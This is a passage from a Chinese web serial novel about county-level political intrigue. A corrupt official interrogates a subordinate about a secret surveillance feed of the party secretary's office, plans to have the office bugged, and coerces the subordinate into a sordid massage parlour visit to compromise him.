董海汗水从额角流了下来。
“什么样的女人?什么时候去的?待了多久?”他再一次厉声问道。,
董海浑身又是一震,知道这次躲无可躲了。
他脸上的肌肉因为巨大的心
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理压力而扭曲着,牙关紧咬,似乎在经历极度的挣扎。
巨大的压力下,他感觉呼吸都困难了。
他颤抖着手,伸进自己夹克的内袋里,摸索着。
他的手指因为恐惧而僵硬,掏了好几下,才哆哆嗦嗦地摸出几张被小心折叠起来的打印纸。
他展开那张纸。
双手因为颤抖而使得纸张发出窸窣的响声,然后恭敬地、带着一种献祭般的惶恐,递到刘世廷面前的茶几上。
“刘……刘县长……这是……这是我在……在监控室……想办法截屏打印下来的……”
董海的声音细若蚊蝇,充满了恐惧和一种背叛的负罪感,“就是……就是这个女人……前几天……天刚蒙蒙亮的时候,大概六点多,不到七点……就……就到了江**的办公室门口。”
“……是江**亲自开的门……”
刘世廷的目光瞬间被茶几上几张打印纸牢牢吸引。
他伸手拿起,凑近眼前。
照片是监控截图,清晰度尚可。
时间是清晨,光线还有些昏暗。
照片中央,一个穿着笔挺警服的身影站在一扇厚重的办公室门前,正微微侧身准备进去。
办公室门上的铭牌虽然模糊,但隐约能看出“**室”的字样。开门的是一个穿着深色夹克的中年男子侧影,正是县委**江昭宁!
而那个女人……
刘世廷的瞳孔骤然收缩!
那是一个极其年轻的女警,看起来顶多二十三四岁。
警服穿在她身上,勾勒出挺拔而充满青春活力的身姿。
帽檐下是一张极为清丽精致的脸庞,皮肤白皙,鼻梁高挺,眉眼间带着一股英气。
即使在监控不甚清晰的画面里,也难掩其出众的容貌。
她的警衔不高,但身姿笔挺,气质干练。
此刻,她正微微抬头看向开门的江昭宁,脸上似乎带着一丝……恭敬?还是别的什么?照片捕捉的瞬间很微妙。
接着是她进入了江昭宁的办公室,坐在他办公桌对面的椅子上,正襟危坐,两人在交谈着什么。
一个年轻漂亮得有些扎眼的女警!
在清晨六点多,天还没大亮的时候!
直接来到了县委**的办公室!
为了安全?为了来去方便?所以穿着制服?
这个时间点,县委**亲自开门迎接?
第146章 做了技术处理!
刘世廷的心猛地一沉,像被一只冰冷的手狠狠攥住!
这绝对有问题!
这些如同惊雷,在刘世廷的脑海里猛烈炸开!轰然作响!
每一个字都蕴含着触目惊心、颠覆常识的能量!
刹那间,无数念头和猜测如同沸腾的开水,在他脑海中剧烈翻涌。
私情?
这个念头最直接也最刺眼。
一个年轻貌美的女警,清晨秘密进入县委**办公室……这太容易让人产生联想了。
如果真是这样,那将是一个足以引爆全县政坛的重磅**!
但江昭宁会如此不智吗?
有私情到宾馆开房不是更好吗?
就是到他的住处也比办公室好!
特殊任务?
穿着制服,是不是意味着是公务?
什么公务需要如此隐秘,在清晨进行,甚至不通过正常的**系统渠道汇报,而是直接面见**?
是涉及重大案件?
还是……针对某些人的调查?
想到这里,刘世廷的后背瞬间沁出一层冷汗。
如果是后者,目标会是谁?一股寒意沿着脊椎爬升。
特殊关系?
这个女警是谁?是市局的?她的背景是什么?
是江昭宁带来的心腹?
还是本地县**局的?
这种私下接触,传递的是什么样的信息?
是不是江昭宁在**系统内部安插的钉子,或者在进行某种不为人知的布局?
照片上,女警那年轻而英气的面孔,在昏暗的晨光中显得格外清晰,也格外刺眼。
她制服肩章的反光……这一切都构成了一个巨大的、充满危险的谜团。
刘世廷拿着照片的手指无意识地收紧,指关节因为用力而微微发白。
他猛地抬头,目光如两把淬毒的**,狠狠刺向已经吓得快要虚脱的董海,声音从牙缝里挤出来,冰冷得没有一丝温度:“她是谁?”
“叫什么名字?哪个单位的?”
“说!把你看到的,听到的,一点不漏地给我说清楚!”每一个字都带着千钧的重量,压得董海几乎喘不过气。
刘世廷知道,他必须立刻、马上弄清楚这个女警的底细,以及她与江昭宁之间到底隐藏着什么。
这不再仅仅是监视,而是关乎他自身安危和权力版图的致命情报。
刘世廷的声音如同淬了冰的钢鞭,狠狠抽打在董海早已绷紧到极限的神经上。
每一个字都带着千钧的重量和赤裸裸的杀意,包厢里只剩下令人窒息的压迫感。
董海感觉自己就像被钉在砧板上的鱼,每一次呼吸都牵扯着肺腑的剧痛。
“我……我真的不知道啊!刘县长!”董海的声音带着哭腔,绝望地嘶喊着,身体抖得像秋风中的落叶。
他不敢看刘世廷那双燃烧着怒火和猜疑的眼睛。
只能死死盯着自己脚下那块昂贵的波斯地毯繁复的花纹,仿佛那是唯一的救命稻草。
“不知道?!”刘世廷猛地将那几张女警的截屏照片拍在茶几上,发出“啪”的一声脆响,震得杯碟乱颤。
他霍然起身,高大的身影再次将董海完全笼罩在阴影里。“董海!你当我是三岁小孩?!”
“监控系统不是视频音频同向输出的吗?!”
“你没有听到他们的谈话吗?”
“你没有听到江昭宁对她的称呼吗?你没有听到具体内容吗?”
“你怎么会不知道?!你耳朵聋了?!”
“还是你胆子肥了,敢跟我玩花样?!”
他猛地抓起茶几上一个精致的骨瓷茶杯,作势就要砸过去。
那瞬间爆发的戾气,让董海魂飞魄散,几乎要瘫软在地。
“不是!刘县长!不是我不听!不是我有意隐瞒!”董海惊恐地双手乱摆,语速快得几乎要咬到舌头,巨大的恐惧激发了他最后一丝求生的本能,“是……是音频!”
“音频它……它根本就没传出来!”
“传不到信息中心去!”
“什么?!”刘世廷举着杯子的手停在半空,脸上的暴怒瞬间被一种更深沉、更冰冷的惊骇所取代。
这个信息如同一个无形的闷棍,狠狠敲在他的后脑勺上,让他有刹那的眩晕。
“说清楚!什么叫音频没传出来?系统故障了?”他的声音低沉下去,却蕴含着更可怕的风暴。
董海咽了口根本不存在的唾沫,喉咙干涩得发疼,他努力组织着语言:“不……不是故障。”
“
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是……是江**那边……可能……可能在电脑上……或者线路上……做了技术处理!”
“对!技术处理!”
“把音频信号……隔离或者屏蔽掉了!”
他越说越觉得这个解释合理,也越说越觉得寒气彻骨,“这……这从技术上是完全做得到的!”
“真的!刘县长!您想想,**办公室,很多谈话都涉及到县里的核心机密。”
“甚至……甚至更高级别的指示,如果音频能随便传出来,那……那还得了?”
“安全保密就是个大问题啊!所以……所以……”
董海的声音越来越小。
因为他看到刘世廷的脸色已经从惊骇变成了铁青,最后变成了一种近乎死灰的凝重。
那双刚才还燃烧着怒火的眼睛,此刻只剩下深不见底的寒潭,里面翻涌着难以置信和一种被彻底冒犯的冰冷杀机。
“技术处理……隔离音频……”刘世廷缓缓放下了举着的茶杯,动作僵硬得像个提线木偶。
他重复着董海的话,每一个字都像冰渣子一样从他齿缝里挤出来。
这个信息比看到女警照片本身更让他心惊肉跳!
这意味着什么?
“董海,”刘世廷的声音陡然变得异常平静,平静得让董海毛骨悚然,比刚才的咆哮更可怕,“你的意思是……江昭宁……他早就知道他的办公室被监控了?”
这个猜测如同惊雷在他脑海中炸响!
如果江昭宁知道,那他所有的布置,他安插董海这颗棋子,岂不是在对方眼皮底下演猴戏?
他刘世廷成了最大的笑话!
更可怕的是,江昭宁知道了却不动声色,这背后隐藏着怎样深沉的城府和可怕的图谋?
是在收集他的把柄?
还是在酝酿致命一击?
这个念头让刘世廷的后背瞬间被冷汗浸透,一股寒意从尾椎骨直冲天灵盖!
他感觉自己精心构筑的权力堡垒,似乎出现了一道致命的、他自己都未曾察觉的裂痕!
董海被刘世廷这平静到极点的质问吓傻了。
他拼命摇头,像是要甩掉这可怕的指控:“不不不!刘县长!这个……这个目前应该没有!”
“绝对没有!”
第147章 这任务凶险百倍!
“为什么?”刘世廷的目光如同两道冰冷的探针,死死钉在董海脸上,不放过他任何一丝细微的表情变化。
“因为……因为如果江**真的知道了监控的存在,他……他根本不需要只屏蔽音频!”
“他完全可以把视频信号也一起掐断!”
“或者干脆在门口装个物理遮挡!”
“甚至……甚至直接追查监控源头!”
“这对他来说,技术上完全不是难事!”
“信息中心的人,他要是真较真,查起来还不容易吗?他可是**!”
董海喘着粗气,继续分析道:“但是,您看,视频信号一直畅通无阻,我能截屏就是证明!”
“他办公室门口的监控画面一直正常传输到信息中心。”
“如果他知道了,会任由自己的影像,特别是……特别是这种清晨接见不明身份人员的影像,被记录下来吗?”
“这对他自己也是隐患啊!”
“所以……所以我觉得,他可能只是出于保密本能,或者处理某些特别敏感的事务时,习惯性地屏蔽了音频,但并不知道有……有我们这边的监控存在。”
“他屏蔽的,可能只是信息中心那边的常规记录,而不是针对我们……”
董海的分析带着强烈的求生欲,逻辑上也确实能自圆其说。
刘世廷紧绷的神经稍稍松弛了一丝,但心中的疑云和警惕却丝毫未减。
他缓缓坐回沙发,手指无意识地摩挲着A4纸上那女警的照片边缘,照片上那年轻英挺的面容此刻在他眼中充满了未知的危险。
“嗯……”刘世廷从鼻子里哼出一个冰冷的音节,算是暂时接受了董海这个解释。
董海提到“他要是真较真,查起来还不容易吗”以及“他可是**”这两句话,像针一样刺中了刘世廷。
是啊,如果江昭宁真发现了,以他的身份和能量,董海这个小小的主任,此刻绝不可能还完好无损地站在这里,更不可能有机会向他汇报。
恐怕早就被纪委请去喝茶,无声无息地从岗位上消失了。
自己也会立刻陷入极大的被动。
这无声的威慑力,本身就是权力最赤裸的体现。
但这并没有让刘世廷感到轻松。
相反,一种更深的焦虑攫住了他。
江昭宁不知道监控的存在,却本能地屏蔽了音频。
这意味着什么?
意味着他有着极高的警惕性和保密意识!
意味着他在**办公室里进行的某些谈话,其机密程度和敏感性,甚至让他觉得连常规的、理论上安全的系统记录渠道都不值得信任!
需要采取额外的技术手段来确保“密不透风”!
那么,这个清晨六点多钟,穿着制服、年轻漂亮的女警,与江昭宁进行的,究竟是怎样一场谈话?
需要如此级别的保密措施?
是涉及某个惊天大案?
是上级的秘密指令?
还是……针对他刘世廷本人的调查,已经悄然启动,并且动用了**系统的特殊力量?
这个穿着制服的女警,像一把悬在头顶的达摩克利斯之剑,让刘世廷寝食难安。
她的存在,本身就代表了某种未知的、强大的、可能对他构成致命威胁的力量介入了江昭宁的核心圈层。
“不知道她是谁?好……”刘世廷的声音恢复了那种掌控一切的冰冷,但董海能听出其中压抑的滔**意和一丝不易察觉的焦躁,“那她进去了多久?总有个时间吧?”
“别告诉我你连这个都没看!”
“看……看了!”董海连忙回答,心脏提到了嗓子眼,“大……大概待了四十五分钟左右!七点多钟的时候出来的!”
“对上班前出来的,出来时……脸色好像很平静,看不出什么特别的……然后就直接下楼离开了。”
四十五分钟!
足够进行一场深入且重要的谈话了。
刘世廷的指尖在照片上女警的肩章处用力划过,留下了一道浅浅的印痕。
平静?越是平静,越可能暗藏玄机。
“董海,”刘世廷抬起头,目光重新聚焦在眼前这个瑟瑟发抖的下属身上,那眼神如同深渊,要将董海的灵魂都吸进去,“你给我听好了。”
“今天这件事,包括这些照片,还有我们刚才所有的谈话,如果泄露出去半个字……”
他没有说后果,但那停顿中蕴含的毁灭性力量,比任何威胁都更具冲击力。
董海“噗通”一声,再也支撑不住,双膝一软跪倒在厚厚的地毯上,涕泪横流:“刘县长!我发誓!”
“我用我全家老小的性命发誓!我绝不敢!绝不敢泄露一个字!”
“我……我,您让我往东,我绝不往西!求您……求您……”
看着董海这副彻底崩溃、摇尾乞怜的
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样子,刘世廷眼中闪过一丝不易察觉的厌恶和一丝掌控欲被满足的冰冷。
他需要的就是这种彻底的、基于恐惧的服从。
“起来!”刘世廷的声音带着命令,“哭哭啼啼像什么样子!”
董海如蒙大赦,连滚带爬地站起来,胡乱地用袖子擦着脸,身体还在不受控制地颤抖。
“不知道她是谁?没关系。”刘世廷的声音透着一股阴狠的决断,“我有办法,但你记住,我们刚才谈的一切都是秘密!否则……”
“还有,”刘世廷的目光再次落在那几张照片上,眼神锐利如刀,“既然音频能被屏蔽,那就说明有物理接口或者软件端口被动了手脚。”
“你给我搞清楚,他到底是怎么做的!”
“是用了什么设备?还是修改了系统设置?”
“这个漏洞在哪里?有没有办法……绕过他的屏蔽!”这个念头一旦升起,就在刘世廷心中疯狂滋长。
如果能突破这层音频屏蔽,那无异于在江昭宁的心脏上安装了一个**器!
这将是足以扭转乾坤的王牌!
董海的脸瞬间又白了,这任务凶险百倍!
但他不敢有丝毫犹豫:“明白!刘县长!我……我会想办法去了解……但……但这需要时间,也需要……需要非常专业的人。”
“可能……可能得从外面……”他暗示需要动用刘世廷更核心、更隐秘的资源。
刘世廷冷冷地瞥了他一眼:“这个不用你操心。你只需要把你知道的,关于他办公室设备、线路、可能的技术手段,哪怕是一点蛛丝马迹,都给我弄清楚。”
“其他的,我自有安排。”
“是!”董海腰弯得更低了。
刘世廷挥了挥手,像驱赶一只苍蝇:“滚吧。记住,你儿子的前程,你全家的安稳,都系在你接下来的表现上。我只看结果。”
“是!谢谢刘县长!谢谢刘县长!”董海如蒙大赦,几乎是**着挪向门口,手忙脚乱地拉开门,仓惶地消失在门外奢华的走廊里。
厚重的包厢门再次关上,将外面的浮华与喧嚣隔绝。
刘世廷独自一人,重新陷入那片令人窒息的寂静。
他拿起那几张照片,走到巨大的落地窗前。
脚下,县城的霓虹依旧璀璨,车流如织,一片歌舞升平的景象。然而在他眼中,这片繁华之下,已是暗流汹涌,杀机四伏。
第148章 回来一下!
那个年轻女警清丽而英气的面孔,在照片上显得如此刺眼。
四十五分钟的密谈,被刻意屏蔽的音频……这一切都指向一个巨大的、充满危险的谜团。
江昭宁到底在谋划什么?
这个女警是他手中的利刃吗?
这利刃的锋芒,最终会指向谁?
“必须查出来……”刘世廷喃喃自语,声音冰冷如铁。
他拿出手机,翻到一个没有存储名字、只有一串特殊代码的加密号码。
仅仅屏蔽音频?这还不够。
他需要听到声音!
需要知道那紧闭的办公室里,到底在密谋着什么针对他的风暴!
他按下了拨号键,眼神阴鸷地盯着窗外璀璨却冰冷的灯火。
他不仅要弄清楚女警的身份,更要撬开那扇被技术封锁的门,听到那足以决定他命运的声音。
为此,他将不惜动用任何手段,任何资源。
权力的游戏,从来都是你死我活。
他刘世廷,绝不会坐以待毙。
他对着话筒,只说了三个字,冰冷而决绝:“用‘耳朵’。”
电话那头沉默了一秒,随即传来一个同样没有任何情绪起伏的回应:“明白。需要‘钥匙’吗?”
刘世廷的目光扫过照片上江昭宁办公室的门牌,嘴角勾起一丝残忍的弧度:“准备。等我指令。”
他挂断电话,将那张女警的照片紧紧攥在手心,仿佛要将其捏碎。
然后,他放下照片。
刘世廷的手指在光洁的红木茶几桌上轻轻敲击着,发出沉闷而规律的笃笃声,像某种倒计时。
他抬眼,目光掠过宽大的桌面,落在静静躺在一旁的手机上。
几乎没有犹豫,他用指尖精准地按下了快捷键“1”。
电话几乎是秒接。
“刘县长!”一个过分热情、带着明显讨好的声音立刻从听筒里炸响,穿透了办公室的安静,“您有何吩咐?”
“我钱德海随时待命!”
刘世廷的嘴角几不可察地向上扯了一下,又迅速绷平,声音不高,却带着不容置疑的分量:“过来一趟。现在。”
“是是是!马上到!立刻到!”钱德海的声音拔高了八度,仿佛领了圣旨,电话那头紧接着传来一阵椅子腿刮擦地面的刺耳噪音和手忙脚乱的碰撞声。
放下电话,刘世廷靠进宽大柔软的真皮沙发,手指无意识地捻着西装袖口上那枚小小的、质地温润的牛角扣。
笃笃笃!
敲门声响起,轻快又带着恰到好处的恭敬,间隔均匀得如同训练有素的士兵。
“进。”刘世廷眼皮都没抬。
门几乎是无声地被推开一条缝。
钱德海那张保养得宜、堆满笑容的脸探了进来。
随即,他那略显发福但动作异常灵活的身体便滑了进来。
他又换穿了一件崭新的深紫色丝光衬衫。
领口敞开两颗扣子,露出一小截金灿灿的链子,腕上一块硕大的金表随着他的动作晃眼。
“刘县长,您有何吩咐?”钱德海快步走到刘世廷前,腰微微躬着,脸上是那种精心调配过的、混合了谦卑、热络和绝对服从的笑容。
他的声音里的殷勤几乎能滴出蜜来,“有什么我能为您效劳的,您尽管开口!”
刘世廷抬起眼皮,目光在他那张过分殷勤的脸上停留了片刻,没有寒暄,直切主题,声音不高,却像一块冰扔进滚油里:“钱老板,你手底下,近来按摩有手法特别好的吧?”
钱德海一愣,笑容凝固了零点几秒。
但立刻融化得更加灿烂,甚至带上了一丝心照不宣的暧昧:“有!我刚才说过的呀!”
“刘县长您放心,我们新来了几个,那手法,啧啧……”
他伸出胖乎乎的手,在空中做了个极其轻柔、带着韵律感的按压动作,像是在抚摸无形的丝绸,“绝对是这个!”
“保证让您舒筋活血,通体舒泰!”
“我这就安排最好的过来,包您满意。”
“那滋味儿,嘿嘿,妙不可言!”他挤眉弄眼,脸上的每一道褶子都写满了“我懂”。
刘世廷的眉头却猛地一皱,脸上掠过一丝清晰的愠怒,仿佛被对方猥琐的会意冒犯了。
他目光锐利如刀,毫不客气地剜了钱德海一眼,带着毫不掩饰的厌烦和上位者的威压,声音也冷了下来:“不是我!”
“啊?”钱德海脸上的笑容瞬间僵住,如同被冻住的面具,随即碎裂开来,只剩下错愕和一丝不易察觉的惶恐。
他那双精明的眼睛飞快地眨动着,努力消化着这意外的转折,脖子下意识地往前伸了伸,小心翼翼地问:“那……那是哪位贵客需要?”
“我钱德海保证安排得妥妥帖帖,让贵宾宾至如归!”
刘世廷没有立刻回答,只是拿起茶几桌上的茶杯,慢条斯理地啜了一口。
滚烫的茶水熨帖着喉咙。
他微微眯起眼,似乎在品味茶香,又似乎在享受对方此刻的茫然无措。
这种将人玩弄于股掌之间、让对方完全摸不清路数的感觉,比茶水本身更让他愉悦。
他放下茶杯,发出轻微的磕碰声,才淡淡地开口,带着一丝莫测高深的意味:“你马上就会知道。”
他嘴角勾起一个微小的弧度,像是预告一个即将揭晓的谜题。
手指再次伸向电话,这一次,他按下了另一个快捷键。
电话接通。
他对着话筒,语气恢复了简洁和不容置疑:“董海,回来一下。现在。”
电话那头似乎应了一声,很模糊。
刘世廷没再多说,直接挂断。
室内重新陷入沉寂。
钱德海识趣地垂手站在一旁,脸上的笑容已经重新挂上,只是眼神深处还残留着强烈的好奇和揣测,目光不时偷偷瞟向门口。
刘世廷则重新靠回沙发背,手指继续在光滑的桌面上无声敲击,笃、笃、笃……节奏稳定,像在计算时间,更像在享受某种无形的期待。
空气里那股无形的焦灼感,似乎又悄然弥漫开来,被冷气裹挟着,渗入每一个角落。
时间一分一秒地过去。
钱德海额角渐渐渗出细密的汗珠。
他不敢去擦,只是微微挪动了一下站得有些发麻的脚。
刘世廷则显得异常有耐心。
他甚至拿起电视的遥控器,随意地按着键。
只是那目光并未真正落在嵌入墙面上的巨大荧屏,更像是一种姿态的展示。
终于,门外传来一阵由远及近的、沉重而急促的脚步声,咚咚咚地敲打着走廊光滑的地砖。
透着一股不顾一切的匆忙,中间还夹杂着轻微的、被强行压抑的喘息。
砰!
厚重的实木门被猛地推开,撞在门吸上,发出一声闷响。
董海的身影出现在门口。
第149章 使不得!
他像刚从水里捞出来一样。
汗水如同无数条小溪,顺着他灰白的鬓角、粗粝的脖颈肆意流淌,浸透了衣服的领口,在胸前和后背晕开大片深色的、形状不规则的汗渍。
他一手扶着门框,支撑着摇摇欲坠的身体,另一只手按在剧烈起伏的胸口上,仿佛那颗心脏随时会挣脱束缚跳出来。
他的胸膛剧烈地起伏着,每一次吸气都伴随着风箱般粗重的嘶鸣。
嘴唇干裂,颜色是病态的乌紫,微微张着,却半天没能发出一个清晰的音节。
他布满血丝的眼睛惶惑地抬起,望向那个坐在昂贵皮沙发里的身影——刘世廷。
那眼神里充满了不解、疲惫,还有一丝深藏的、几乎被汗水淹没的恐惧。
他刚刚才离开这里,又被一个电话火烧屁股似的召了回来。
汗水流进眼睛里,刺得生疼,他用力眨了几下,才勉强看清刘世廷脸上的表情。
刘世廷身体微微前倾,手肘撑在光洁的红木茶几桌面上,十指交叉,饶有兴致地打量着门口这个狼狈不堪的下属。
他的目光像探照灯一样,缓慢而仔细地从董海剧烈起伏的胸膛、干裂乌紫的嘴唇,一直扫到他扶着门框微微颤抖的手。
那眼神里没有关心,只有一种审视物品般的、带着玩味的观察。
“董海啊,”刘世廷终于开口,声音不高,却清晰地穿透了董海粗重的喘息,带着一种刻意放缓的、近乎温和的腔调,“你看你这一身的汗水,”他微微摇头,嘴角却向上弯起一个意味深长的弧度,“现在,很劳累了吧?”
董海用力咽了口唾沫,喉咙里发出干涩的摩擦声。
他努力挺直了因疲惫而佝偻的腰背,想让自己看起来精神些,声音嘶哑地回道:“刘县长,您肯定有什么急事吧?”
他以为县长是嫌他动作慢,回来催促的。
刘世廷脸上的笑意更深了,那笑容在董海眼中却显得格外莫测。
他轻轻摆了摆手,像是拂去什么微不足道的东西:“不急,进来谈。”
董海不得不进来,并关上了门。
刘世廷停顿了一下,目光转向站在一旁、脸上重新堆起谄媚笑容的钱德海。
他的语气轻松得像是在谈论今天的天气,“钱老板,安排一下。”
钱德海立刻心领神会,腰杆瞬间挺直了几分,声音洪亮又带着一种令人不适的亲昵:“好勒!刘县长放心!”
“包在我钱德海身上!”
他转向董海,那张油光光的胖脸上挤出更加热切、甚至带着几分“同道中人”意味的笑容,声音也拔高了八度,“老兄!听见没?”
“刘县长体恤你辛苦,让你好好放松放松,享受享受!这可是天大的福气啊!”
他一边说着,一边下意识地搓着手。
“让我这个老弟,”刘世廷接过钱德海的话头,手指随意地朝董海的方向点了点,如同在点一件等待处理的物品,语气带着不容置疑的施舍意味,“享受一下美色!”
“美色”两个字像两颗烧红的铁钉,狠狠楔进董海的耳膜。
他浑身猛地一哆嗦,仿佛被高压电流击中,原本就因缺氧而发黑的眼前瞬间金星乱冒。
一股冰冷的寒意从脚底板直冲天灵盖,瞬间浇灭了满身的热汗,让他如坠冰窟。
“慢!”
董海几乎是嘶吼出声,声音因极度的惊骇而变了调,尖利得刺耳。
他像被毒蛇咬了一口般猛地向后踉跄一步,后背重重撞在冰凉坚硬的门框上,发出“咚”的一声闷响。
那声音在过分安静的室里显得格外突兀。
他脸上的血色瞬间褪得一干二净,嘴唇哆嗦着,乌紫的颜色更深了,眼睛死死盯着刘世廷那张带着玩味笑容的脸,瞳孔因为恐惧而急剧收缩。
“刘县长!别!别!”董海的声音抖得不成样子,每一个字都带着哀求的颤音,双手在身前无意识地乱摆,像是要推开什么无形却极其可怕的东西,“使不得!这万万使不得啊!刘县长!”
他额头上的汗珠,又瞬间密密麻麻地冒了出来,顺着灰白的鬓角滚落。
刘世廷脸上的笑容不仅没有消失,反而更加浓郁了。
他慢悠悠地靠回宽大的沙发背,身体微微晃动,真皮沙发发出轻微的嘎吱声。
他拿起桌上的烟盒,抽出一支烟,钱德海立刻像训练有素的猎犬,一个箭步上前,“啪”地一声脆响,擦着了锃亮的镀金打火机,蓝色的火苗殷勤地递到刘世廷面前。
刘世廷就着火苗点燃香烟,深深吸了一口,白色的烟雾从鼻腔里缓缓喷出,模糊了他镜片后的眼神,却让那笑容显得更加高深莫测,甚至带着一丝戏谑。
他透过烟雾看着门口那个惊弓之鸟般的下属,声音带着一种过来人般的、慵懒的开导:“啧,男人嘛!”
他吐出一个烟圈,看着它袅袅上升、变形,“过去都是三妻四妾,左拥右抱,那才叫快活。”
“现在倒好,一夫一妻了,”他撇了撇嘴,语气里满是“世风日下”的感慨,“时间长了,能不腻味?”
他夹着烟的手指朝董海点了点,“就是按摩一下,放松放松筋骨,顺便……享受享受别的女人的滋味儿?”
“这有什么大不了的?嗯?”
“我……我?”董海像是被扼住了喉咙,只剩下气声。
他感觉自己的舌头打了死结,手脚冰凉麻木,只有心脏在胸腔里疯狂擂动,每一次跳动都撞击着肋骨,带来钝痛。
他眼前闪过妻子那张因常年操劳而早生皱纹、却永远带着温和笑意的脸,想起她凌晨起床为自己煮的那碗卧了荷包蛋的热汤面。
一股巨大的羞耻和恐惧攫住了他,几乎让他窒息。
他猛地摇头,幅度大得像是要把脖子摇断,“不行……刘县长……真的不行……我……我家里……”
他想说妻子,想说单位纪律,想说自己的良心,可喉咙里像塞满了滚烫的沙子,一个字也挤不出来,只剩下绝望的呜咽。
“去吧!”刘世廷脸上的笑容倏地一收,声音陡然拔高,带着一种不容抗拒的命令口吻,斩钉截铁,瞬间击碎了董海徒劳的挣扎。
那声音如同冰冷的铁锤,砸在董海早已不堪重负的神经上。“跟钱老板走!”
他夹着烟的手朝门口方向用力一挥,动作带着上位者特有的、不容置疑的决断力。
第150章 包你舒坦!
随即,那命令式的强硬又迅速被一种极具蛊惑性的、描绘美好前景的腔调取代,刘世廷重新靠回沙发背,烟雾缭绕中,他的声音变得低沉而充满磁性,像在念诵一篇引人入胜的广告词:“保管让你……欲生欲死,欲罢不能,乐不思蜀!”
每一个词都像涂着蜜糖的毒刺。
最后,他抛出了最具杀伤力的一击,语气轻描淡写,却重若千钧:“这钱吗?”
他弹了弹烟灰,姿态随意得如同在谈论一顿便饭,“不要你出分文!”
他微微停顿,目光如实质般压在董海惨白的脸上,清晰地吐出四个字:“坐享其乐就成!”
每一个字都像烧红的烙铁,烫在董海心上。
“坐享其乐”——多么轻巧,多么讽刺!
这“乐”,沾着毒,沾着脏,沾着会把他和他整个家庭拖入深渊的泥泞!
他想嘶吼,想拒绝,想不顾一切地转身逃走。
然而,钱德海动了。
他早已将察言观色刻进了骨子里。
刘世廷最后那句“坐享其乐”的尾音刚落,钱德海脸上的谄媚瞬间转化为一种职业化的、不容置疑的强势。
他像一头盯准了猎物的豹子,肥胖的身体此刻爆发出与体型不符的敏捷,一个箭步就跨到了董海面前。
“哎呀老兄!还愣着干什么!”钱德海的声音陡然拔高,带着一种不容分说的亲昵和不容抗拒的力道,“刘县长一番美意,天大的福气!”
“走走走!跟老弟走!”
“包你舒坦!”他脸上堆着笑,嘴里说着亲热话,手上的动作却迅猛如电。
他那肥厚、温热、带着汗湿感的手掌,如同铁钳般一把攫住了董海瘦削的手腕!
董海只觉得一股巨大的、完全无法抗衡的力量猛地传来,手腕像是被烧红的铁箍狠狠勒住,剧痛瞬间沿着手臂窜上大脑。
他本能地、用尽全身力气向后挣扎,双脚死死蹬住光滑的地砖,身体拼命向后倾,试图对抗那股拖拽的力量。
他的皮鞋在地砖上发出刺耳的、令人牙酸的摩擦声,像垂死野兽的哀鸣。
“不!放开!放开我!”董海的声音彻底变了调,嘶哑破碎,充满了濒死般的绝望。
他另一只手徒劳地去掰钱德海的手指,指甲在那肥厚的手背上划出几道浅浅的白痕,却撼动不了分毫。
汗水、泪水混杂着屈辱,糊满了他的脸,视野一片模糊。
他像一根被狂风摧折的芦苇,徒劳地抵抗着风暴。
刘世廷依旧稳稳地坐在他那张象征权力的巨大皮椅里。
他刚刚点燃的那支烟,静静地架在昂贵的玉石烟灰缸边缘,青烟笔直地上升。
而刘世廷本人,身体微微后仰,一只手随意地搭在扶手上。
另一只手……正有节奏地、轻轻地、一下一下地敲击着桌面。
笃、笃、笃……
那敲击声,规律,稳定,从容不迫。
他的脸上,非但没有一丝一毫对眼前这场粗暴拖拽的愠怒或制止,反而……绽开了一个前所未有的、极其舒展、极其愉悦的笑容!
那笑容如此之深,以至于眼角的皱纹都堆积起来,眯成了一条缝,里面闪烁着一种……一种纯粹而残忍的欣赏光芒!
像是在欣赏一出精彩绝伦、完全按照他剧本上演的好戏!
董海越挣扎,越狼狈,越绝望,那笑容就越发地灿烂,越发地刺眼,像一把淬了毒的匕首,狠狠捅进董海的心脏!
董海脑中嗡的一声,最后一点反抗的力气仿佛瞬间被这个笑容抽干了。
他停止了挣扎,身体软了下去,像一个被剪断了提线的木偶。
只剩下粗重的、带着血腥味的喘息,在死寂的室里回荡。
钱德海立刻感觉到了手中抵抗力的消失。
他脸上掠过一丝“果然如此”的了然,笑容更加得意,手上的力道却丝毫未减,反而更加顺畅地一拽。“这就对了嘛!识时务者为俊杰!”
“老兄,跟着老弟,保管让你见识见识什么叫人间极乐!”他半拖半架着如同行尸走肉般的董海,转身就朝办公室门口走去。
董海的双脚机械地、踉跄地被拖行着。
厚重的、隔音良好的办公室门在身后被钱德海用脚后跟踢上,发出一声沉闷的“砰”响,隔绝了室内那片令人窒息的红木光泽。
走廊里铺着厚厚的地毯,吸走了所有的脚步声,只剩下钱德海略显粗重的呼吸和自己擂鼓般的心跳。
空气里弥漫着一股淡淡的、混合了地毯清洁剂和某种香氛的味道,甜腻得让人作呕。
钱德海几乎是架着董海,熟门熟路地转过一个弯,走向走廊深处。
尽头,一扇深色木门紧闭着。
但门缝底下,却泄露出一种极其微弱、极其暧昧的粉红色灯光。
越靠近那扇门,空气中那股甜腻的香氛味就越发浓重,还混杂着一种难以言喻的、潮湿温热的脂粉气息。
丝丝缕缕地钻进董海的鼻腔。
像无数细小的虫子,啃噬着他最后的清明。
钱德海在门前停下,没有立刻推门,而是侧过头,那张油光光的胖脸几乎贴到董海惨白的脸上,热气喷在他的耳廓:“老兄,放轻松!”
“天塌下来,有刘县长顶着呢!”
“进去,往床上一躺,闭眼,神仙日子就开始了!”他嘿嘿低笑着,声音里充满了狎昵和诱惑,“保管你试过一次,就再也忘不了这滋味儿!”
董海浑身僵硬得像块石头,牙关紧咬,尝到了自己嘴里浓重的铁锈味。他想吐。
就在钱德海伸出手,准备推开那扇仿佛通往地狱之门的瞬间——
身后,隔着长长的、铺着厚地毯的走廊。
隔着那扇刚刚关上的刘世廷所在的包厢室内厚重的实木门板。
一阵极其细微、却又异常清晰的声音,飘飘渺渺地传了过来。
是哼唱。
一个男人松弛、随意、带着明显愉悦的哼唱声。
哼的调子,董海再熟悉不过了——那是革命样板戏《红灯记》里,李玉和赴刑场前那段著名的唱腔。
“……临行喝妈一碗酒,浑身是胆雄赳赳……”
那哼唱声不高,断断续续,甚至有些荒腔走板。
但每一个不成调的音符,都像淬了剧毒的冰锥,精准无比地刺穿了厚重的门板,刺穿了地毯的吸音层,狠狠地扎进董海的耳膜,贯穿他的大脑!
董海的身体剧烈地一震,如同被高压电流再次击中!
钱德海那只即将触碰到门把的手也顿在了半空,脸上闪过一丝错愕。
第151章 她真是你们县局的人?
